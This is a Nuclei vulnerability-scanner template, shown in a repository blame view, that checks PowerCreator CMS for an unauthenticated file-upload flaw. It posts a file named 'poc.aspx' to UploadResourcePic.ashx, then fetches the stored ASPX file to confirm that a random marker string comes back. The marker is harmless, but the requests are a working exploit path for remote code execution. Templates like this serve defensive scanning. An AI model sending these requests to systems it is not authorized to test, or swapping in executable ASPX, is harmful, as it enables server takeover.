nuclei-templates/vulnerabilities/other/powercreator-cms-rce.yaml

45 lines
1.4 KiB
YAML
Raw Normal View History

2021-02-14 08:40:45 +00:00
id: powercreator-cms-rce
info:
name: PowerCreator CMS RCE
author: pikpikcu
severity: critical
2021-05-05 14:08:11 +00:00
reference: https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/PowerCreatorCms/PowerCreatorCms%E4%BB%BB%E6%84%8F%E4%B8%8A%E4%BC%A0/
2021-02-14 10:59:41 +00:00
tags: rce,powercreator
2021-02-14 08:40:45 +00:00
requests:
- raw:
- |
POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 225
Content-Disposition: form-data;name="file1";filename="poc.aspx";
Content-Type: multipart/form-data; boundary=---------------------------20873900192357278038549710136
-----------------------------20873900192357278038549710136
Content-Disposition: form-data; name="file1"; filename="poc.aspx"
Content-Type: image/jpeg
2021-05-05 12:09:31 +00:00
{{randstr}}
2021-02-14 08:40:45 +00:00
-----------------------------20873900192357278038549710136--
2021-02-14 10:59:41 +00:00
2021-02-14 08:40:45 +00:00
- |
2021-02-14 10:59:41 +00:00
GET /ResourcePic/{{endpoint}} HTTP/1.1
2021-02-14 08:40:45 +00:00
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip
extractors:
- type: regex
2021-02-14 10:59:41 +00:00
name: endpoint
2021-02-14 08:40:45 +00:00
internal: true
part: body
regex:
- "(.*?.ASPX)"
2021-05-05 12:09:31 +00:00
req-condition: true
2021-02-14 08:40:45 +00:00
matchers:
2021-02-14 10:59:41 +00:00
- type: dsl
dsl:
2021-05-05 12:09:31 +00:00
- "contains(body_2, '{{randstr}}') && status_code_2 == 200"